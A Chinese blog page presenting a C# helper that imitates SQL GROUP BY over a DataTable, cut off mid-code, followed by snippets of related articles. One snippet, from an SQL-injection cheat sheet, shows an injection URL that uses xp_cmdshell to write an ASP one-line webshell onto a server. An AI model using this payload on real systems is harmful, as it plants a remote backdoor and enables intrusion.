类似SQL 的Group by功能
最近做了几个小小统计的报表界面,由于.net不带group by 的功能,统计起来有时候相当不便,便趁着睡着的时候写了一个类似的方法。
有不足之处或是有更好的方法还望大家指正。
至于效率如何?未知,因为本人的测试数据就是比较少。
/// <summary>
/// SQL Group by
/// </summary>
/// <param name="dtSource">数据源</param>
/// <param name="arrType">统计类型:count、sum、avg、max、min</param>
/// <param name="arrField">与前面类型一一对应的字段</param>
/// <param name="strGroupby">Groupby字段,可以多个,并用逗号隔开</param>
/// <returns></returns>
public static DataTable DataTableGroupBy(DataTable dtSource, string[] arrType, string[] arrField, string strGroupby)
{
if (strGroupby == null || strGroupby == string.Empty)
{
strGroupby = "PublicColumn";
dtSource.Columns.Add(strGroupby);//无条件全局统计
}
//创建一个与数据源相同结构的表用于接收统计后的数据
DataTable dt = dtSource.Clone();
//group by(或distinct) 操作过滤掉相同项
DataView dv = dtSource.Copy().DefaultView.ToTable(true, strGroupby).DefaultView;
string[] arrRow = strGroupby.Split(',');
foreach (DataRowView drv in dv)
{
strGroupby = string.Empty;
DataRow dr = dt.NewRow();
for (int i = 0; i < arrRow.Length; i++)
{
//过滤条件
strGroupby += arrRow[i] + (drv[arrRow[i]].ToString() == string.Empty ? " is null " : "='" + drv[arrRow[i]] + "'") + " and ";
dr[arrRow[i]] = drv[arrRow[i]];
}
strGroupby += "1=1";
//对每个字段进行不同方式的统计
for (int i = 0; i < arrType.Length; i++)
{
dr[arrField[i]] = dtSource.Compute(arrType[i]
相关文档:
最详细的SQL注入语句相关的命令整理
1、 用^转义字符来写ASP(一句话木马)文件的方法:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......
一、深入浅出理解索引结构
改善SQL语句
很多人不知道SQL语句在SQL SERVER中是如何执行的,他们担心自己所写的SQL语句会被SQL SERVER误解。比如:
select * from table1 where name=''zhangsan'' and tID > 10000
和执行:
select * from table1 where tID > 10000 and name=''zhangsan''
一些人不知道 ......
Distinct
SELECT DISTINCT "栏位"
from "表格名"
Where
SELECT "栏位"
from "表格名"
WHERE "condition"
And/Or
SELECT "栏位"
from "表格名"
WHERE "简单条件"
{[AND|OR] "简单条件"}+
In
SELECT "� ......
要在SQL Server数据库中存储m³并打印出来, 方法如下:
1)将数据库中相应字段的数据类型设为nchar或nvarchar类型。
2)从Excel中得到m³,复制粘贴到接收数据的控件中(TextBox、DataGridView等)。保存即可。
注:1)nchar,nvarchar与char,varchar� ......